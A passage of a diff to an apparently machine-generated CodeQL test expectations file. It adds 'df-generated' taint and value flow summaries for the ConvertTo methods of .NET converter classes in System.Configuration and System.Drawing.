System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | @@ -9451,8 +9589,12 @@ summary | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IApplicationSettingsProvider;GetPreviousVersion;(System.Configuration.SettingsContext,System.Configuration.SettingsProperty);Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IConfigurationSectionHandler;Create;(System.Object,System.Object,System.Xml.XmlNode);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System.Configuration;IdnElement;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9464,13 +9606,21 @@ summary | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IntegerValidator;Validate;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Configuration;IntegerValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IriParsingElement;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9620,23 +9770,39 @@ summary | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[1];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;Validate;(System.Object);Argument[0];Argument[this];taint;df-generated | @@ -9644,8 +9810,12 @@ summary | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;UriSection;get_Idn;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_IriParsing;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9654,8 +9824,12 @@ summary | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Copy;();Argument[this];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Intersect;(System.Security.IPermission);Argument[0];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Union;(System.Security.IPermission);Argument[this];ReturnValue;taint;df-generated | @@ -11392,8 +11566,12 @@ summary | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PageSettings;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PrintDocument;add_BeginPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_EndPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -11431,9 +11609,14 @@ summary | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ColorConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].Property[System.Drawing.Color.Name];ReturnValue;value;dfc-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].SyntheticField[System.Drawing.Color.name];ReturnValue;value;dfc-generated | @@ -11450,8 +11633,12 @@ summary | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;FontConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Graphics+DrawImageAbort;BeginInvoke;(System.IntPtr,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Drawing;Graphics+EnumerateMetafileProc;BeginInvoke;(System.Drawing.Imaging.EmfPlusRecordType,System.Int32,System.Int32,System.IntPtr,System.Drawing.Imaging.PlayRecordCallback,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | @@ -11506,8 +11693,12 @@ summary | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;Image+GetThumbnailImageAbort;BeginInvoke;(System.AsyncCallback,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing;Image;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;Image;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | @@ -11517,45 +11708,73 @@ summary | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| 